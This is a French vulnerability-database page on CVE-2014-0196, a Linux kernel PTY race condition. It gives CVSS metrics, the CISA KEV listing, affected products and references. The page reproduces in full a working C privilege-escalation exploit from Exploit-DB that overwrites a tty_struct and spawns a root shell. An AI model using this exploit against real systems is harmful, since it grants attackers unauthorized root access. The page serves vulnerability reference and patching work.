CVE-2014-0196 : Détail

CVE-2014-0196

5.5
/
Moyen
1.36%V3
Local
2014-05-07
10h00 +00:00
2025-02-07
13h36 +00:00
CVE.org
NVD
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Descriptions du CVE

The n_tty_write function in drivers/tty/n_tty.c in the Linux kernel through 3.14.3 does not properly manage tty driver access in the "LECHO & !OPOST" case, which allows local users to cause a denial of service (memory corruption and system crash) or gain privileges by triggering a race condition involving read and write operations with long strings.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Linux Kernel Race Condition Vulnerability

Action requise : The impacted product is end-of-life and should be disconnected if still in use.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2023-05-11 22h00 +00:00

Action attendue : 2023-06-01 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 33516

Date de publication : 2014-05-25 22h00 +00:00
Auteur : Matthew Daley
EDB Vérifié : No

/* * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1 * * Matthew Daley <[email protected]> * * Usage: * $ gcc cve-2014-0196-md.c -lutil -lpthread * $ ./a.out * [+] Resolving symbols * [+] Resolved commit_creds: 0xffffffff81056694 * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 * [+] Doing once-off allocations * [+] Attempting to overflow into a tty_struct............... * [+] Got it :) * # id * uid=0(root) gid=0(root) groups=0(root) * * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 * chance that the overflow will go off the end of a slab. This does not * necessarily lead to an immediate kernel crash, but you should be prepared * for the worst (i.e. kernel oopsing in a bad state). In theory this would be * avoidable by reading /proc/slabinfo on systems where it is still available * to unprivileged users. * * Caveat: The vulnerability should be exploitable all the way from * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer * GFP_ATOMIC memory consumption") that make exploitation simpler, which this * exploit relies on. * * Thanks to Jon Oberheide for his help on exploitation technique. */ #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <pthread.h> #include <pty.h> #include <stdio.h> #include <string.h> #include <termios.h> #include <unistd.h> #define TTY_MAGIC 0x5401 #define ONEOFF_ALLOCS 200 #define RUN_ALLOCS 30 struct device; struct tty_driver; struct tty_operations; typedef struct { int counter; } atomic_t; struct kref { atomic_t refcount; }; struct tty_struct_header { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; } overwrite; typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); int master_fd, slave_fd; char buf[1024] = {0}; commit_creds_fn commit_creds; prepare_kernel_cred_fn prepare_kernel_cred; int payload(void) { commit_creds(prepare_kernel_cred(0)); return 0; } unsigned long get_symbol(char *target_name) { FILE *f; unsigned long addr; char dummy; char name[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) return 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); if (ret == 0) { fscanf(f, "%s\n", name); continue; } if (!strcmp(name, target_name)) { printf("[+] Resolved %s: %p\n", target_name, (void *)addr); fclose(f); return addr; } } printf("[-] Couldn't resolve \"%s\"\n", name); fclose(f); return 0; } void *overwrite_thread_fn(void *p) { write(slave_fd, buf, 511); write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); write(slave_fd, &overwrite, sizeof(overwrite)); } int main() { char scratch[1024] = {0}; void *tty_operations[64]; int i, temp_fd_1, temp_fd_2; for (i = 0; i < 64; ++i) tty_operations[i] = payload; overwrite.magic = TTY_MAGIC; overwrite.kref.refcount.counter = 0x1337; overwrite.dev = (struct device *)scratch; overwrite.driver = (struct tty_driver *)scratch; overwrite.ops = (struct tty_operations *)tty_operations; puts("[+] Resolving symbols"); commit_creds = (commit_creds_fn)get_symbol("commit_creds"); prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); if (!commit_creds || !prepare_kernel_cred) return 1; puts("[+] Doing once-off allocations"); for (i = 0; i < ONEOFF_ALLOCS; ++i) if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { puts("[-] pty creation failed"); return 1; } printf("[+] Attempting to overflow into a tty_struct..."); fflush(stdout); for (i = 0; ; ++i) { struct termios t; int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; pthread_t overwrite_thread; if (!(i & 0xfff)) { putchar('.'); fflush(stdout); } if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } for (j = 0; j < RUN_ALLOCS; ++j) if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } close(fds[RUN_ALLOCS / 2]); close(fds2[RUN_ALLOCS / 2]); write(slave_fd, buf, 1); tcgetattr(master_fd, &t); t.c_oflag &= ~OPOST; t.c_lflag |= ECHO; tcsetattr(master_fd, TCSANOW, &t); if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { puts("\n[-] Overwrite thread creation failed"); return 1; } write(master_fd, "A", 1); pthread_join(overwrite_thread, NULL); for (j = 0; j < RUN_ALLOCS; ++j) { if (j == RUN_ALLOCS / 2) continue; ioctl(fds[j], 0xdeadbeef); ioctl(fds2[j], 0xdeadbeef); close(fds[j]); close(fds2[j]); } ioctl(master_fd, 0xdeadbeef); ioctl(slave_fd, 0xdeadbeef); close(master_fd); close(slave_fd); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); puts("\n[+] Got it :)"); execl("/bin/bash", "/bin/bash", NULL); } } }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (excluding) 2.6.31 To (excluding) 3.2.59

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.91

Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.10.40

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.20

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.14.4

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Configuraton 0

Debian>>Debian_linux >> Version 6.0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux_eus >> Version 6.3

Redhat>>Enterprise_linux_eus >> Version 6.4

Redhat>>Enterprise_linux_server_eus >> Version 6.3

Configuraton 0

Suse>>Suse_linux_enterprise_desktop >> Version 11

    Suse>>Suse_linux_enterprise_high_availability_extension >> Version 11

    Suse>>Suse_linux_enterprise_server >> Version 11

    Suse>>Suse_linux_enterprise_server >> Version 11

    Configuraton 0

    Oracle>>Linux >> Version 6

    Configuraton 0

    Canonical>>Ubuntu_linux >> Version 10.04

    Canonical>>Ubuntu_linux >> Version 12.04

    Canonical>>Ubuntu_linux >> Version 12.10

    Canonical>>Ubuntu_linux >> Version 13.10

    Canonical>>Ubuntu_linux >> Version 14.04

    Configuraton 0

    F5>>Big-ip_access_policy_manager >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_advanced_firewall_manager >> Version From (including) 11.3.0 To (including) 11.5.1

    F5>>Big-ip_analytics >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_application_acceleration_manager >> Version From (including) 11.4.0 To (including) 11.5.1

    F5>>Big-ip_application_security_manager >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_edge_gateway >> Version From (including) 11.1.0 To (including) 11.3.0

    F5>>Big-ip_global_traffic_manager >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_link_controller >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_local_traffic_manager >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_policy_enforcement_manager >> Version From (including) 11.3.0 To (including) 11.5.1

    F5>>Big-ip_protocol_security_module >> Version From (including) 11.1.0 To (including) 11.4.1

    F5>>Big-ip_wan_optimization_manager >> Version From (including) 11.1.0 To (including) 11.3.0

    F5>>Big-ip_webaccelerator >> Version From (including) 11.1.0 To (including) 11.3.0

    F5>>Big-iq_application_delivery_controller >> Version 4.5.0

    F5>>Big-iq_centralized_management >> Version 4.6.0

    F5>>Big-iq_cloud >> Version From (including) 4.0.0 To (including) 4.5.0

    F5>>Big-iq_cloud_and_orchestration >> Version 1.0.0

    F5>>Big-iq_device >> Version From (including) 4.2.0 To (including) 4.5.0

    F5>>Big-iq_security >> Version From (including) 4.0.0 To (including) 4.5.0

    F5>>Enterprise_manager >> Version 3.1.0

    F5>>Enterprise_manager >> Version 3.1.1

    Références

    http://www.ubuntu.com/usn/USN-2203-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.osvdb.org/106646
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.openwall.com/lists/oss-security/2014/05/05/6
    Tags : mailing-list, x_refsource_MLIST
    http://secunia.com/advisories/59262
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.ubuntu.com/usn/USN-2204-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://secunia.com/advisories/59218
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.ubuntu.com/usn/USN-2202-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.exploit-db.com/exploits/33516
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.debian.org/security/2014/dsa-2928
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.ubuntu.com/usn/USN-2199-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.ubuntu.com/usn/USN-2197-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://rhn.redhat.com/errata/RHSA-2014-0512.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://secunia.com/advisories/59599
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.debian.org/security/2014/dsa-2926
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.ubuntu.com/usn/USN-2198-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.ubuntu.com/usn/USN-2200-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.ubuntu.com/usn/USN-2201-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.ubuntu.com/usn/USN-2196-1
    Tags : vendor-advisory, x_refsource_UBUNTU